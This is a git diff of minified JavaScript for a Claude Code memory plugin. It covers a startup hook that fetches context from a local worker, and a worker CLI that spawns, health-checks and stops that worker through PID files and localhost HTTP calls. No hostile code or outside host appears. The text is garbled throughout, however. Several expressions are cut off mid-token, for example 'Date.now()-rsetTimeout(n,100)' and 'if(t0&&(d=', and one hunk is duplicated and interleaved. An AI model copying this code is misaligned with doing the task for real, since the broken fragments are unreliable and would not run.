this.isProcessAlive(e.pid)||this.removePidFile(),!0}else{if(!e)return!0;try{process.kill(e.pid,"SIGTERM"),await this.waitForExit(e.pid,t)}catch{try{process.kill(e.pid,"SIGKILL")}catch{}}return this.removePidFile(),!0}}static async restart(t){return await this.stop(),this.start(t)}static async status(){let t=this.getPidInfo();if(!t)return{running:!1};let e=this.isProcessAlive(t.pid);return{running:e,pid:e?t.pid:void 0,port:e?t.port:void 0,uptime:e?this.formatUptime(t.startedAt):void 0}}static async isRunning(){let t=this.getPidInfo();if(!t)return!1;let e=this.isProcessAlive(t.pid);return e||this.removePidFile(),e}static getPortFromSettings(){try{let t=h(l,"settings.json"),e=u.loadFromFile(t);return parseInt(e.CLAUDE_MEM_WORKER_PORT,10)}catch{return parseInt(u.get("CLAUDE_MEM_WORKER_PORT"),10)}}static async tryHttpShutdown(t){try{return(await fetch(`http://127.0.0.1:${t}/api/admin/shutdown`,{method:"POST",signal:AbortSignal.timeout(2e3)})).ok?await this.waitForWorkerDown(t,5e3):!1}catch{return!1}}static async waitForWorkerDown(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}catch{return!0}return!1}static getPidInfo(){try{if(!R(S))return null;let t=ct(S,"utf-8"),e=JSON.parse(t);return typeof e.pid!="number"||typeof e.port!="number"?(logger.warn("PROCESS","Malformed PID file: missing or invalid pid/port fields",{},{parsed:e}),null):e}catch(t){return logger.warn("PROCESS","Failed to read PID file",{},{error:t instanceof Error?t.message:String(t),path:S}),null}}static writePidFile(t){G(l,{recursive:!0}),ut(S,JSON.stringify(t,null,2))}static removePidFile(){try{R(S)&<(S)}catch{}}static isProcessAlive(t){try{return process.kill(t,0),!0}catch{return!1}}static async waitForHealth(t,e,r=1e4){let n=Date.now(),s=process.platform==="win32",o=s?r*2:r;for(;Date.now()-nsetTimeout(c,200))}return{success:!1,error:s?`Worker failed to start on Windows (readiness check timed out after ${i}ms) +5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:"Process died during startup"};try{if((await fetch(`http://127.0.0.1:${e}/api/readiness`,{signal:AbortSignal.timeout(1e3)})).ok)return{success:!0,pid:t}}catch{}await new Promise(c=>setTimeout(c,200))}return{success:!1,error:s?`Worker failed to start on Windows (readiness check timed out after ${o}ms) Troubleshooting: 1. Check Task Manager for zombie 'bun.exe' or 'node.exe' processes 2. Verify port ${e} is not in use: netstat -ano | findstr ${e} 3. Check worker logs in ~/.claude-mem/logs/ 4. See GitHub issues: #363, #367, #371, #373 -5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:`Readiness check timed out after ${i}ms`}}static async waitForExit(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}throw new Error("Process did not exit within timeout")}static getLogFilePath(){let t=new Date().toISOString().slice(0,10);return h(j,`worker-${t}.log`)}static formatUptime(t){let e=new Date(t).getTime(),n=Date.now()-e,s=Math.floor(n/1e3),i=Math.floor(s/60),a=Math.floor(i/60),c=Math.floor(a/24);return c>0?`${c}d ${a%24}h`:a>0?`${a}h ${i%60}m`:i>0?`${i}m ${s%60}s`:`${s}s`}};function O(o={}){let{port:t,includeSkillFallback:e=!1,customPrefix:r,actualError:n}=o,s=r||"Worker service connection failed.",i=t?` (port ${t})`:"",a=`${s}${i} +5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:`Readiness check timed out after ${o}ms`}}static async waitForExit(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}throw new Error("Process did not exit within timeout")}static getLogFilePath(){let t=new Date().toISOString().slice(0,10);return h(j,`worker-${t}.log`)}static formatUptime(t){let e=new Date(t).getTime(),n=Date.now()-e,s=Math.floor(n/1e3),o=Math.floor(s/60),a=Math.floor(o/60),c=Math.floor(a/24);return c>0?`${c}d ${a%24}h`:a>0?`${a}h ${o%60}m`:o>0?`${o}m ${s%60}s`:`${s}s`}};function k(i={}){let{port:t,includeSkillFallback:e=!1,customPrefix:r,actualError:n}=i,s=r||"Worker service connection failed.",o=t?` (port ${t})`:"",a=`${s}${o} `;return a+=`To restart the worker: `,a+=`1. Exit Claude Code completely @@ -25,33 +25,15 @@ Troubleshooting: If that doesn't work, try: /troubleshoot`),n&&(a=`Worker Error: ${n} -${a}`),a}var G=D.join(Et(),".claude","plugins","marketplaces","thedotmack"),K=b(A.HEALTH_CHECK),C=null;function m(){if(C!==null)return C;let o=D.join(l.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),t=l.loadFromFile(o);return C=parseInt(t.CLAUDE_MEM_WORKER_PORT,10),C}async function I(){try{let o=m();return(await fetch(`http://127.0.0.1:${o}/api/readiness`,{signal:AbortSignal.timeout(K)})).ok}catch(o){return u.debug("SYSTEM","Worker readiness check failed",{error:o instanceof Error?o.message:String(o),errorType:o?.constructor?.name}),!1}}function Ot(){try{let o=D.join(G,"package.json");return JSON.parse(ht(o,"utf-8")).version}catch(o){return u.debug("SYSTEM","Failed to read plugin version",{error:o instanceof Error?o.message:String(o)}),null}}async function wt(){try{let o=m(),t=await fetch(`http://127.0.0.1:${o}/api/version`,{signal:AbortSignal.timeout(K)});return t.ok?(await t.json()).version:null}catch(o){return u.debug("SYSTEM","Failed to get worker version",{error:o instanceof Error?o.message:String(o)}),null}}async function V(){let o=Ot(),t=await wt();!o||!t||o!==t&&(u.info("SYSTEM","Worker version mismatch detected - restarting worker",{pluginVersion:o,workerVersion:t}),await new Promise(e=>setTimeout(e,b(A.PRE_RESTART_SETTLE_DELAY))),await T.restart(m()),await new Promise(e=>setTimeout(e,1e3)),await I()||u.error("SYSTEM","Worker failed to restart after version mismatch",{expectedVersion:o,runningVersion:t,port:m()}))}async function At(){let o=l.get("CLAUDE_MEM_DATA_DIR"),t=D.join(o,".pm2-migrated");if(Tt(o,{recursive:!0}),!_t(t))try{St("pm2",["delete","claude-mem-worker"],{stdio:"ignore"}),B(t,new Date().toISOString(),"utf-8"),u.debug("SYSTEM","PM2 cleanup completed and marked")}catch{B(t,new Date().toISOString(),"utf-8")}let e=m(),r=await T.start(e);return r.success||u.error("SYSTEM","Failed to start worker",{platform:process.platform,port:e,error:r.error,marketplaceRoot:G}),r.success}async function Y(){if(await I()){await V();return}if(!await At()){let e=m();throw new Error(O({port:e,customPrefix:`Worker service failed to start on port ${e}.`}))}for(let e=0;e<5;e++)if(await new Promise(r=>setTimeout(r,500)),await I()){await V();return}let t=m();throw u.error("SYSTEM","Worker started but not responding to health checks"),new Error(O({port:t,customPrefix:`Worker service started but is not responding on port ${t}.`}))}try{await Y();let o=m(),t=Ct(process.cwd()),e=await fetch(`http://127.0.0.1:${o}/api/context/inject?project=${encodeURIComponent(t)}&colors=true`,{method:"GET",signal:AbortSignal.timeout(5e3)});if(!e.ok)throw new Error(O({includeSkillFallback:!0}));let r=await e.text();console.error(` +${a}`),a}var B=A.join(Et(),".claude","plugins","marketplaces","thedotmack"),V=L(O.HEALTH_CHECK),D=null;function m(){if(D!==null)return D;let i=A.join(u.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),t=u.loadFromFile(i);return D=parseInt(t.CLAUDE_MEM_WORKER_PORT,10),D}async function I(){let i=m();return(await fetch(`http://127.0.0.1:${i}/api/readiness`,{signal:AbortSignal.timeout(V)})).ok}function wt(){let i=A.join(B,"package.json");return JSON.parse(ht(i,"utf-8")).version}async function Ot(){let i=m(),t=await fetch(`http://127.0.0.1:${i}/api/version`,{signal:AbortSignal.timeout(V)});if(!t.ok)throw new Error(`Failed to get worker version: ${t.status}`);return(await t.json()).version}async function K(){let i=wt(),t=await Ot();if(i!==t&&(f.info("SYSTEM","Worker version mismatch detected - restarting worker",{pluginVersion:i,workerVersion:t}),await new Promise(e=>setTimeout(e,L(O.PRE_RESTART_SETTLE_DELAY))),await T.restart(m()),await new Promise(e=>setTimeout(e,1e3)),!await I()))throw new Error(`Worker failed to restart after version mismatch. Expected ${i}, was running ${t}`)}async function Dt(){let i=u.get("CLAUDE_MEM_DATA_DIR"),t=A.join(i,".pm2-migrated");Tt(i,{recursive:!0}),_t(t)||(dt("pm2",["delete","claude-mem-worker"],{stdio:"ignore"}),St(t,new Date().toISOString(),"utf-8"),f.debug("SYSTEM","PM2 cleanup completed and marked"));let e=m(),r=await T.start(e);return r.success||f.error("SYSTEM","Failed to start worker",{platform:process.platform,port:e,error:r.error,marketplaceRoot:B}),r.success}async function X(){let i=!1;try{i=await I()}catch{i=!1}if(i){await K();return}if(!await Dt()){let r=m();throw new Error(k({port:r,customPrefix:`Worker service failed to start on port ${r}.`}))}for(let r=0;r<5;r++){await new Promise(n=>setTimeout(n,500));try{if(await I()){await K();return}}catch{}}let e=m();throw f.error("SYSTEM","Worker started but not responding to health checks"),new Error(k({port:e,customPrefix:`Worker service started but is not responding on port ${e}.`}))}await X();var Y=m(),Ct=At(process.cwd()),v=await fetch(`http://127.0.0.1:${Y}/api/context/inject?project=${encodeURIComponent(Ct)}&colors=true`,{method:"GET",signal:AbortSignal.timeout(5e3)});if(!v.ok)throw new Error(`Failed to fetch context: ${v.status}`);var Mt=await v.text();console.error(` \u{1F4DD} Claude-Mem Context Loaded \u2139\uFE0F Note: This appears as stderr but is informational only -`+r+` +`+Mt+` \u{1F4A1} New! Wrap all or part of any message with ... to prevent storing sensitive information in your observation history. \u{1F4AC} Community https://discord.gg/J4wttp9vDu -\u{1F4FA} Watch live in browser http://localhost:${o}/ -`)}catch{console.error(` ---- -\u{1F389} Note: This appears under Plugin Hook Error, but it's not an error. That's the only option for - user messages in Claude Code UI until a better method is provided. ---- - -\u26A0\uFE0F Claude-Mem: First-Time Setup - -Dependencies are installing in the background. This only happens once. - -\u{1F4A1} TIPS: - \u2022 Memories will start generating while you work - \u2022 Use /init to write or update your CLAUDE.md for better project context - \u2022 Try /clear after one session to see what context looks like - -Thank you for installing Claude-Mem! - -This message was not added to your startup context, so you can continue working as normal. -`)}process.exit(x.USER_MESSAGE_ONLY); +\u{1F4FA} Watch live in browser http://localhost:${Y}/ +`);process.exit(N.USER_MESSAGE_ONLY); diff --git a/plugin/scripts/worker-cli.js b/plugin/scripts/worker-cli.js index 5ee0d4b5..71bc42d0 100755 --- a/plugin/scripts/worker-cli.js +++ b/plugin/scripts/worker-cli.js @@ -1,8 +1,8 @@ #!/usr/bin/env bun -import{existsSync as M,readFileSync as rt,writeFileSync as nt,unlinkSync as st,mkdirSync as $}from"fs";import{createWriteStream as ot}from"fs";import{join as _}from"path";import{spawn as it,spawnSync as at}from"child_process";import{homedir as ct}from"os";import{join as p,dirname as q,basename as Ct}from"path";import{homedir as z}from"os";import{fileURLToPath as Q}from"url";import{readFileSync as K,writeFileSync as G,existsSync as Y}from"fs";import{join as X}from"path";import{homedir as J}from"os";var V=["bugfix","feature","refactor","discovery","decision","change"],j=["how-it-works","why-it-exists","what-changed","problem-solution","gotcha","pattern","trade-off"];var R=V.join(","),y=j.join(",");var A=(s=>(s[s.DEBUG=0]="DEBUG",s[s.INFO=1]="INFO",s[s.WARN=2]="WARN",s[s.ERROR=3]="ERROR",s[s.SILENT=4]="SILENT",s))(A||{}),D=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let t=u.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=A[t]??1}return this.level}correlationId(t,e){return`obs-${t}-${e}`}sessionId(t){return`session-${t}`}formatData(t){if(t==null)return"";if(typeof t=="string")return t;if(typeof t=="number"||typeof t=="boolean")return t.toString();if(typeof t=="object"){if(t instanceof Error)return this.getLevel()===0?`${t.message} -${t.stack}`:t.message;if(Array.isArray(t))return`[${t.length} items]`;let e=Object.keys(t);return e.length===0?"{}":e.length<=3?JSON.stringify(t):`{${e.length} keys: ${e.slice(0,3).join(", ")}...}`}return String(t)}formatTool(t,e){if(!e)return t;try{let r=typeof e=="string"?JSON.parse(e):e;if(t==="Bash"&&r.command)return`${t}(${r.command})`;if(r.file_path)return`${t}(${r.file_path})`;if(r.notebook_path)return`${t}(${r.notebook_path})`;if(t==="Glob"&&r.pattern)return`${t}(${r.pattern})`;if(t==="Grep"&&r.pattern)return`${t}(${r.pattern})`;if(r.url)return`${t}(${r.url})`;if(r.query)return`${t}(${r.query})`;if(t==="Task"){if(r.subagent_type)return`${t}(${r.subagent_type})`;if(r.description)return`${t}(${r.description})`}return t==="Skill"&&r.skill?`${t}(${r.skill})`:t==="LSP"&&r.operation?`${t}(${r.operation})`:t}catch{return t}}formatTimestamp(t){let e=t.getFullYear(),r=String(t.getMonth()+1).padStart(2,"0"),n=String(t.getDate()).padStart(2,"0"),s=String(t.getHours()).padStart(2,"0"),o=String(t.getMinutes()).padStart(2,"0"),a=String(t.getSeconds()).padStart(2,"0"),c=String(t.getMilliseconds()).padStart(3,"0");return`${e}-${r}-${n} ${s}:${o}:${a}.${c}`}log(t,e,r,n,s){if(t0&&(d=` {${Object.entries(b).map(([H,B])=>`${H}=${B}`).join(", ")}}`)}let E=`[${o}] [${a}] [${c}] ${g}${r}${d}${m}`;t===3?console.error(E):console.log(E)}debug(t,e,r,n){this.log(0,t,e,r,n)}info(t,e,r,n){this.log(1,t,e,r,n)}warn(t,e,r,n){this.log(2,t,e,r,n)}error(t,e,r,n){this.log(3,t,e,r,n)}dataIn(t,e,r,n){this.info(t,`\u2192 ${e}`,r,n)}dataOut(t,e,r,n){this.info(t,`\u2190 ${e}`,r,n)}success(t,e,r,n){this.info(t,`\u2713 ${e}`,r,n)}failure(t,e,r,n){this.error(t,`\u2717 ${e}`,r,n)}timing(t,e,r,n){this.info(t,`\u23F1 ${e}`,n,{duration:`${r}ms`})}happyPathError(t,e,r,n,s=""){let g=((new Error().stack||"").split(` -`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),m=g?`${g[1].split("/").pop()}:${g[2]}`:"unknown",d={...r,location:m};return this.warn(t,`[HAPPY-PATH] ${e}`,d,n),s}},T=new D;var u=class{static DEFAULTS={CLAUDE_MEM_MODEL:"claude-sonnet-4-5",CLAUDE_MEM_CONTEXT_OBSERVATIONS:"50",CLAUDE_MEM_WORKER_PORT:"37777",CLAUDE_MEM_WORKER_HOST:"127.0.0.1",CLAUDE_MEM_SKIP_TOOLS:"ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion",CLAUDE_MEM_DATA_DIR:X(J(),".claude-mem"),CLAUDE_MEM_LOG_LEVEL:"INFO",CLAUDE_MEM_PYTHON_VERSION:"3.13",CLAUDE_CODE_PATH:"",CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT:"true",CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES:R,CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS:y,CLAUDE_MEM_CONTEXT_FULL_COUNT:"5",CLAUDE_MEM_CONTEXT_FULL_FIELD:"narrative",CLAUDE_MEM_CONTEXT_SESSION_COUNT:"10",CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY:"true",CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE:"false"};static getAllDefaults(){return{...this.DEFAULTS}}static get(t){return this.DEFAULTS[t]}static getInt(t){let e=this.get(t);return parseInt(e,10)}static getBool(t){return this.get(t)==="true"}static loadFromFile(t){try{if(!Y(t))return this.getAllDefaults();let e=K(t,"utf-8"),r=JSON.parse(e),n=r;if(r.env&&typeof r.env=="object"){n=r.env;try{G(t,JSON.stringify(n,null,2),"utf-8"),T.info("SETTINGS","Migrated settings file from nested to flat schema",{settingsPath:t})}catch(o){T.warn("SETTINGS","Failed to auto-migrate settings file",{settingsPath:t},o)}}let s={...this.DEFAULTS};for(let o of Object.keys(this.DEFAULTS))n[o]!==void 0&&(s[o]=n[o]);return s}catch(e){return T.warn("SETTINGS","Failed to load settings, using defaults",{settingsPath:t},e),this.getAllDefaults()}}};function Z(){return typeof __dirname<"u"?__dirname:q(Q(import.meta.url))}var Rt=Z(),l=u.get("CLAUDE_MEM_DATA_DIR"),w=process.env.CLAUDE_CONFIG_DIR||p(z(),".claude"),yt=p(l,"archives"),kt=p(l,"logs"),It=p(l,"trash"),vt=p(l,"backups"),$t=p(l,"settings.json"),Ut=p(l,"claude-mem.db"),xt=p(l,"vector-db"),Nt=p(w,"settings.json"),Wt=p(w,"commands"),Ft=p(w,"CLAUDE.md");import{spawnSync as tt}from"child_process";import{existsSync as et}from"fs";import{join as k}from"path";import{homedir as I}from"os";function C(){let i=process.platform==="win32";try{if(tt("bun",["--version"],{encoding:"utf-8",stdio:["pipe","pipe","pipe"],shell:!1}).status===0)return"bun"}catch{}let t=i?[k(I(),".bun","bin","bun.exe")]:[k(I(),".bun","bin","bun"),"/usr/local/bin/bun","/opt/homebrew/bin/bun","/home/linuxbrew/.linuxbrew/bin/bun"];for(let e of t)if(et(e))return e;return null}function v(){return C()!==null}var S=_(l,"worker.pid"),U=_(l,"logs"),P=_(ct(),".claude","plugins","marketplaces","thedotmack"),f=class{static async start(t){if(isNaN(t)||t<1024||t>65535)return{success:!1,error:`Invalid port ${t}. Must be between 1024 and 65535`};if(await this.isRunning())return{success:!0,pid:this.getPidInfo()?.pid};$(U,{recursive:!0});let e=process.platform==="win32"?"worker-wrapper.cjs":"worker-service.cjs",r=_(P,"plugin","scripts",e);if(!M(r))return{success:!1,error:`Worker script not found at ${r}`};let n=this.getLogFilePath();return this.startWithBun(r,n,t)}static isBunAvailable(){return v()}static escapePowerShellString(t){return t.replace(/'/g,"''")}static async startWithBun(t,e,r){let n=C();if(!n)return{success:!1,error:"Bun is required but not found in PATH or common installation paths. Install from https://bun.sh"};try{if(process.platform==="win32"){let o=this.escapePowerShellString(n),a=this.escapePowerShellString(t),c=this.escapePowerShellString(P),g=this.escapePowerShellString(e),d=`${`$env:CLAUDE_MEM_WORKER_PORT='${r}'`}; Start-Process -FilePath '${o}' -ArgumentList '${a}' -WorkingDirectory '${c}' -WindowStyle Hidden -RedirectStandardOutput '${g}' -RedirectStandardError '${g}.err' -PassThru | Select-Object -ExpandProperty Id`,E=at("powershell",["-Command",d],{stdio:"pipe",timeout:1e4,windowsHide:!0});if(E.status!==0)return{success:!1,error:`PowerShell spawn failed: ${E.stderr?.toString()||"unknown error"}`};let h=parseInt(E.stdout.toString().trim(),10);return isNaN(h)?{success:!1,error:"Failed to get PID from PowerShell"}:(this.writePidFile({pid:h,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(h,r))}else{let o=it(n,[t],{detached:!0,stdio:["ignore","pipe","pipe"],env:{...process.env,CLAUDE_MEM_WORKER_PORT:String(r)},cwd:P}),a=ot(e,{flags:"a"});return o.stdout?.pipe(a),o.stderr?.pipe(a),o.unref(),o.pid?(this.writePidFile({pid:o.pid,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(o.pid,r)):{success:!1,error:"Failed to get PID from spawned process"}}}catch(s){return{success:!1,error:s instanceof Error?s.message:String(s)}}}static async stop(t=5e3){let e=this.getPidInfo();if(process.platform==="win32"){let r=e?.port??this.getPortFromSettings();if(await this.tryHttpShutdown(r))return this.removePidFile(),!0;if(!e)return!0;let{execSync:s}=await import("child_process");try{s(`taskkill /PID ${e.pid} /T /F`,{timeout:1e4,stdio:"ignore"})}catch{}try{await this.waitForExit(e.pid,t)}catch{}return this.isProcessAlive(e.pid)||this.removePidFile(),!0}else{if(!e)return!0;try{process.kill(e.pid,"SIGTERM"),await this.waitForExit(e.pid,t)}catch{try{process.kill(e.pid,"SIGKILL")}catch{}}return this.removePidFile(),!0}}static async restart(t){return await this.stop(),this.start(t)}static async status(){let t=this.getPidInfo();if(!t)return{running:!1};let e=this.isProcessAlive(t.pid);return{running:e,pid:e?t.pid:void 0,port:e?t.port:void 0,uptime:e?this.formatUptime(t.startedAt):void 0}}static async isRunning(){let t=this.getPidInfo();if(!t)return!1;let e=this.isProcessAlive(t.pid);return e||this.removePidFile(),e}static getPortFromSettings(){try{let t=_(l,"settings.json"),e=u.loadFromFile(t);return parseInt(e.CLAUDE_MEM_WORKER_PORT,10)}catch{return parseInt(u.get("CLAUDE_MEM_WORKER_PORT"),10)}}static async tryHttpShutdown(t){try{return(await fetch(`http://127.0.0.1:${t}/api/admin/shutdown`,{method:"POST",signal:AbortSignal.timeout(2e3)})).ok?await this.waitForWorkerDown(t,5e3):!1}catch{return!1}}static async waitForWorkerDown(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}catch{return!0}return!1}static getPidInfo(){try{if(!M(S))return null;let t=rt(S,"utf-8"),e=JSON.parse(t);return typeof e.pid!="number"||typeof e.port!="number"?(logger.warn("PROCESS","Malformed PID file: missing or invalid pid/port fields",{},{parsed:e}),null):e}catch(t){return logger.warn("PROCESS","Failed to read PID file",{},{error:t instanceof Error?t.message:String(t),path:S}),null}}static writePidFile(t){$(l,{recursive:!0}),nt(S,JSON.stringify(t,null,2))}static removePidFile(){try{M(S)&&st(S)}catch{}}static isProcessAlive(t){try{return process.kill(t,0),!0}catch{return!1}}static async waitForHealth(t,e,r=1e4){let n=Date.now(),s=process.platform==="win32",o=s?r*2:r;for(;Date.now()-n(s[s.DEBUG=0]="DEBUG",s[s.INFO=1]="INFO",s[s.WARN=2]="WARN",s[s.ERROR=3]="ERROR",s[s.SILENT=4]="SILENT",s))(w||{}),O=class{level=null;useColor;constructor(){this.useColor=process.stdout.isTTY??!1}getLevel(){if(this.level===null){let t=l.get("CLAUDE_MEM_LOG_LEVEL").toUpperCase();this.level=w[t]??1}return this.level}correlationId(t,e){return`obs-${t}-${e}`}sessionId(t){return`session-${t}`}formatData(t){if(t==null)return"";if(typeof t=="string")return t;if(typeof t=="number"||typeof t=="boolean")return t.toString();if(typeof t=="object"){if(t instanceof Error)return this.getLevel()===0?`${t.message} +${t.stack}`:t.message;if(Array.isArray(t))return`[${t.length} items]`;let e=Object.keys(t);return e.length===0?"{}":e.length<=3?JSON.stringify(t):`{${e.length} keys: ${e.slice(0,3).join(", ")}...}`}return String(t)}formatTool(t,e){if(!e)return t;let r=typeof e=="string"?JSON.parse(e):e;if(t==="Bash"&&r.command)return`${t}(${r.command})`;if(r.file_path)return`${t}(${r.file_path})`;if(r.notebook_path)return`${t}(${r.notebook_path})`;if(t==="Glob"&&r.pattern)return`${t}(${r.pattern})`;if(t==="Grep"&&r.pattern)return`${t}(${r.pattern})`;if(r.url)return`${t}(${r.url})`;if(r.query)return`${t}(${r.query})`;if(t==="Task"){if(r.subagent_type)return`${t}(${r.subagent_type})`;if(r.description)return`${t}(${r.description})`}return t==="Skill"&&r.skill?`${t}(${r.skill})`:t==="LSP"&&r.operation?`${t}(${r.operation})`:t}formatTimestamp(t){let e=t.getFullYear(),r=String(t.getMonth()+1).padStart(2,"0"),n=String(t.getDate()).padStart(2,"0"),s=String(t.getHours()).padStart(2,"0"),o=String(t.getMinutes()).padStart(2,"0"),a=String(t.getSeconds()).padStart(2,"0"),c=String(t.getMilliseconds()).padStart(3,"0");return`${e}-${r}-${n} ${s}:${o}:${a}.${c}`}log(t,e,r,n,s){if(t0&&(d=` {${Object.entries(b).map(([H,G])=>`${H}=${G}`).join(", ")}}`)}let E=`[${o}] [${a}] [${c}] ${g}${r}${d}${m}`;t===3?console.error(E):console.log(E)}debug(t,e,r,n){this.log(0,t,e,r,n)}info(t,e,r,n){this.log(1,t,e,r,n)}warn(t,e,r,n){this.log(2,t,e,r,n)}error(t,e,r,n){this.log(3,t,e,r,n)}dataIn(t,e,r,n){this.info(t,`\u2192 ${e}`,r,n)}dataOut(t,e,r,n){this.info(t,`\u2190 ${e}`,r,n)}success(t,e,r,n){this.info(t,`\u2713 ${e}`,r,n)}failure(t,e,r,n){this.error(t,`\u2717 ${e}`,r,n)}timing(t,e,r,n){this.info(t,`\u23F1 ${e}`,n,{duration:`${r}ms`})}happyPathError(t,e,r,n,s=""){let g=((new Error().stack||"").split(` +`)[2]||"").match(/at\s+(?:.*\s+)?\(?([^:]+):(\d+):(\d+)\)?/),m=g?`${g[1].split("/").pop()}:${g[2]}`:"unknown",d={...r,location:m};return this.warn(t,`[HAPPY-PATH] ${e}`,d,n),s}},h=new O;var l=class{static DEFAULTS={CLAUDE_MEM_MODEL:"claude-sonnet-4-5",CLAUDE_MEM_CONTEXT_OBSERVATIONS:"50",CLAUDE_MEM_WORKER_PORT:"37777",CLAUDE_MEM_WORKER_HOST:"127.0.0.1",CLAUDE_MEM_SKIP_TOOLS:"ListMcpResourcesTool,SlashCommand,Skill,TodoWrite,AskUserQuestion",CLAUDE_MEM_DATA_DIR:V(X(),".claude-mem"),CLAUDE_MEM_LOG_LEVEL:"INFO",CLAUDE_MEM_PYTHON_VERSION:"3.13",CLAUDE_CODE_PATH:"",CLAUDE_MEM_MODE:"code",CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT:"true",CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT:"true",CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES:k,CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS:R,CLAUDE_MEM_CONTEXT_FULL_COUNT:"5",CLAUDE_MEM_CONTEXT_FULL_FIELD:"narrative",CLAUDE_MEM_CONTEXT_SESSION_COUNT:"10",CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY:"true",CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE:"false"};static getAllDefaults(){return{...this.DEFAULTS}}static get(t){return this.DEFAULTS[t]}static getInt(t){let e=this.get(t);return parseInt(e,10)}static getBool(t){return this.get(t)==="true"}static loadFromFile(t){try{if(!B(t))return this.getAllDefaults();let e=K(t,"utf-8"),r=JSON.parse(e),n=r;if(r.env&&typeof r.env=="object"){n=r.env;try{j(t,JSON.stringify(n,null,2),"utf-8"),h.info("SETTINGS","Migrated settings file from nested to flat schema",{settingsPath:t})}catch(o){h.warn("SETTINGS","Failed to auto-migrate settings file",{settingsPath:t},o)}}let s={...this.DEFAULTS};for(let o of Object.keys(this.DEFAULTS))n[o]!==void 0&&(s[o]=n[o]);return s}catch(e){return h.warn("SETTINGS","Failed to load settings, using defaults",{settingsPath:t},e),this.getAllDefaults()}}};function z(){return typeof __dirname<"u"?__dirname:Y(q(import.meta.url))}var Pt=z(),u=l.get("CLAUDE_MEM_DATA_DIR"),A=process.env.CLAUDE_CONFIG_DIR||p(J(),".claude"),bt=p(u,"archives"),kt=p(u,"logs"),Rt=p(u,"trash"),It=p(u,"backups"),yt=p(u,"modes"),vt=p(u,"settings.json"),$t=p(u,"claude-mem.db"),Ut=p(u,"vector-db"),xt=p(A,"settings.json"),Nt=p(A,"commands"),Wt=p(A,"CLAUDE.md");import{spawnSync as Q}from"child_process";import{existsSync as Z}from"fs";import{join as I}from"path";import{homedir as y}from"os";function M(){let i=process.platform==="win32";try{if(Q("bun",["--version"],{encoding:"utf-8",stdio:["pipe","pipe","pipe"],shell:!1}).status===0)return"bun"}catch{}let t=i?[I(y(),".bun","bin","bun.exe")]:[I(y(),".bun","bin","bun"),"/usr/local/bin/bun","/opt/homebrew/bin/bun","/home/linuxbrew/.linuxbrew/bin/bun"];for(let e of t)if(Z(e))return e;return null}function v(){return M()!==null}var _=S(u,"worker.pid"),U=S(u,"logs"),L=S(it(),".claude","plugins","marketplaces","thedotmack"),f=class{static async start(t){if(isNaN(t)||t<1024||t>65535)return{success:!1,error:`Invalid port ${t}. Must be between 1024 and 65535`};if(await this.isRunning())return{success:!0,pid:this.getPidInfo()?.pid};$(U,{recursive:!0});let e=process.platform==="win32"?"worker-wrapper.cjs":"worker-service.cjs",r=S(L,"plugin","scripts",e);if(!C(r))return{success:!1,error:`Worker script not found at ${r}`};let n=this.getLogFilePath();return this.startWithBun(r,n,t)}static isBunAvailable(){return v()}static escapePowerShellString(t){return t.replace(/'/g,"''")}static async startWithBun(t,e,r){let n=M();if(!n)return{success:!1,error:"Bun is required but not found in PATH or common installation paths. Install from https://bun.sh"};try{if(process.platform==="win32"){let o=this.escapePowerShellString(n),a=this.escapePowerShellString(t),c=this.escapePowerShellString(L),g=this.escapePowerShellString(e),d=`${`$env:CLAUDE_MEM_WORKER_PORT='${r}'`}; Start-Process -FilePath '${o}' -ArgumentList '${a}' -WorkingDirectory '${c}' -WindowStyle Hidden -RedirectStandardOutput '${g}' -RedirectStandardError '${g}.err' -PassThru | Select-Object -ExpandProperty Id`,E=ot("powershell",["-Command",d],{stdio:"pipe",timeout:1e4,windowsHide:!0});if(E.status!==0)return{success:!1,error:`PowerShell spawn failed: ${E.stderr?.toString()||"unknown error"}`};let T=parseInt(E.stdout.toString().trim(),10);return isNaN(T)?{success:!1,error:"Failed to get PID from PowerShell"}:(this.writePidFile({pid:T,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(T,r))}else{let o=st(n,[t],{detached:!0,stdio:["ignore","pipe","pipe"],env:{...process.env,CLAUDE_MEM_WORKER_PORT:String(r)},cwd:L}),a=nt(e,{flags:"a"});return o.stdout?.pipe(a),o.stderr?.pipe(a),o.unref(),o.pid?(this.writePidFile({pid:o.pid,port:r,startedAt:new Date().toISOString(),version:process.env.npm_package_version||"unknown"}),this.waitForHealth(o.pid,r)):{success:!1,error:"Failed to get PID from spawned process"}}}catch(s){return{success:!1,error:s instanceof Error?s.message:String(s)}}}static async stop(t=5e3){let 